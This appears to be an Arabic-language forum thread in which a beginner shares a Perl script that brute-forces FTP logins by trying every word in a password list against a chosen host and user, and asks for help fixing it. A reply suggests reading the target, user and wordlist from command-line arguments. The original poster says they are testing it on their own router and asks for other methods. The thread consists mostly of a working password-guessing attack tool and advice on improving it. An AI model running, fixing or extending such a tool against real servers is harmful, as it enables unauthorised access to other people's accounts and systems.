مشكله فى مشروع بيرل للتخمين

[LEFT][b]

#!/usr/bin/perl -w
use Net::FTP;
system ("clear");
print"[+] Enter Host: ";
chomp($ip = <STDIN>);
print"[+] Enter Users: ";
chomp($user = <STDIN>);
print"[+] Enter Password: ";
chomp($pass = <STDIN>);
$ftp = Net::FTP->new($ip, Debug => 0, Port => 21)|| die "[-]Failed Connection"; 
open (D,"<$pass") or die "[-]Error: Check your wordlist
";
while(<D>)
{
chomp ($try = $_);
$ftp->login($user,$try);
if($ftp->ls("."))
{
system"clear";
print "Login successful
";
print "[+] Server:$ip
";
print "[+] User:$user
";
print "[+] Words:$try
";
}
{
}
}
close(D);

هو لتخمين الاف تى بى مدرى فين الخطاءلانى مبتدا فى هذه اللغه وهذا ثانى برنامج لى وشكرا
[/b][/LEFT]

اخوي افضل انك تستعمل

my $host = $argv[0];
my $admin = $argv[1];
my $list = $argv[2];

لانه كذا مو سكربت تخمين

مشكور على ردك اخوى انا جربت طريقتك برده فيه مشكله انا بجرب على ايبى الروتر بتاعى لانه فاتح
telnet , ftp
:slight_smile:
ارجو لو حد عنده طريقه اخره يساهم بيها